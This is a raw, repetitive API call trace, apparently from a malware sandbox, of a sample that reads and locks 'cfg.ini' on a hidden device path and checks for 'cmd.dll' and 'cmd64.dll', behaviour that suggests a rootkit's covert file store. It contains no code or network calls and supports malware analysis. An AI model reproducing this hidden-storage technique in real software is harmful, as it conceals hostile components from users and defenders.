(in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.522] KeLeaveCriticalRegion () [0125.522] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.522] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.522] KeEnterCriticalRegion () [0125.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.522] ExFreePoolWithTag (P=0xfffffa8003bf7270, Tag=0x0) [0125.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.522] KeLeaveCriticalRegion () [0125.522] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.522] ReleaseMutex (hMutex=0xf0) returned 1 [0125.522] Sleep (dwMilliseconds=0x124f80) [0125.539] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.539] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.539] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.539] KeEnterCriticalRegion () [0125.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.539] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.539] IdePortDispatch () returned 0x103 [0125.539] KeWaitForMutexObject () returned 0x0 [0125.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.539] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.539] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.539] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.539] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.539] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.539] KeLeaveCriticalRegion () [0125.539] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.539] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.539] KeEnterCriticalRegion () [0125.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.539] KeLeaveCriticalRegion () [0125.539] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.539] KeEnterCriticalRegion () [0125.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.539] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.539] IdePortDispatch () returned 0x103 [0125.540] KeWaitForMutexObject () returned 0x0 [0125.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.540] KeLeaveCriticalRegion () [0125.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.540] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.540] KeEnterCriticalRegion () [0125.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c73000 [0125.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.540] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.540] IdePortDispatch () returned 0x103 [0125.540] KeWaitForMutexObject () returned 0x0 [0125.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.540] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.540] IdePortDispatch () returned 0x103 [0125.541] KeWaitForMutexObject () returned 0x0 [0125.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.541] KeLeaveCriticalRegion () [0125.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.541] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.541] KeEnterCriticalRegion () [0125.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.541] KeLeaveCriticalRegion () [0125.541] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.541] KeEnterCriticalRegion () [0125.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.541] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.541] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.541] KeLeaveCriticalRegion () [0125.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.541] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.541] KeEnterCriticalRegion () [0125.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.541] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.541] KeLeaveCriticalRegion () [0125.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.541] ReleaseMutex (hMutex=0xf0) returned 1 [0125.541] Sleep (dwMilliseconds=0x124f80) [0125.555] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.555] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.555] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.555] KeEnterCriticalRegion () [0125.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.555] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.555] IdePortDispatch () returned 0x103 [0125.555] KeWaitForMutexObject () returned 0x0 [0125.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.556] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.556] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.556] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.556] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.556] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7070 [0125.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.556] KeLeaveCriticalRegion () [0125.556] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.556] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.556] KeEnterCriticalRegion () [0125.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.556] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.556] KeLeaveCriticalRegion () [0125.556] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.556] KeEnterCriticalRegion () [0125.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.556] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.556] IdePortDispatch () returned 0x103 [0125.556] KeWaitForMutexObject () returned 0x0 [0125.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.556] KeLeaveCriticalRegion () [0125.556] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.556] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.556] KeEnterCriticalRegion () [0125.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c78000 [0125.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.557] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.557] IdePortDispatch () returned 0x103 [0125.557] KeWaitForMutexObject () returned 0x0 [0125.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.557] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.557] IdePortDispatch () returned 0x103 [0125.557] KeWaitForMutexObject () returned 0x0 [0125.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.557] KeLeaveCriticalRegion () [0125.557] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.558] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.558] KeEnterCriticalRegion () [0125.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.558] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.558] KeLeaveCriticalRegion () [0125.558] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.558] KeEnterCriticalRegion () [0125.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.558] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.558] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.558] KeLeaveCriticalRegion () [0125.558] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.558] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.558] KeEnterCriticalRegion () [0125.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.558] ExFreePoolWithTag (P=0xfffffa8003bf7070, Tag=0x0) [0125.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.558] KeLeaveCriticalRegion () [0125.558] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.558] ReleaseMutex (hMutex=0xf0) returned 1 [0125.558] Sleep (dwMilliseconds=0x124f80) [0125.573] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.573] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.573] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.573] KeEnterCriticalRegion () [0125.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.573] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.573] IdePortDispatch () returned 0x103 [0125.573] KeWaitForMutexObject () returned 0x0 [0125.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.573] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.573] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.573] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.573] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.573] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf79b0 [0125.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.573] KeLeaveCriticalRegion () [0125.573] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.573] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.573] KeEnterCriticalRegion () [0125.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.573] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.573] KeLeaveCriticalRegion () [0125.573] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.573] KeEnterCriticalRegion () [0125.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.574] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.574] IdePortDispatch () returned 0x103 [0125.574] KeWaitForMutexObject () returned 0x0 [0125.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.574] KeLeaveCriticalRegion () [0125.574] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.574] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.574] KeEnterCriticalRegion () [0125.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7d000 [0125.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.574] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.574] IdePortDispatch () returned 0x103 [0125.574] KeWaitForMutexObject () returned 0x0 [0125.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.574] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.574] IdePortDispatch () returned 0x103 [0125.575] KeWaitForMutexObject () returned 0x0 [0125.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.575] KeLeaveCriticalRegion () [0125.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.575] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.575] KeEnterCriticalRegion () [0125.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.575] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.575] KeLeaveCriticalRegion () [0125.575] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.575] KeEnterCriticalRegion () [0125.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.575] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.575] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.575] KeLeaveCriticalRegion () [0125.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.575] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.575] KeEnterCriticalRegion () [0125.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.575] ExFreePoolWithTag (P=0xfffffa8003bf79b0, Tag=0x0) [0125.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.575] KeLeaveCriticalRegion () [0125.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.576] ReleaseMutex (hMutex=0xf0) returned 1 [0125.576] Sleep (dwMilliseconds=0x124f80) [0125.589] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.589] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.589] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.589] KeEnterCriticalRegion () [0125.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.589] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.589] IdePortDispatch () returned 0x103 [0125.590] KeWaitForMutexObject () returned 0x0 [0125.590] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.590] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.590] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.590] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.590] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.590] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7320 [0125.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.590] 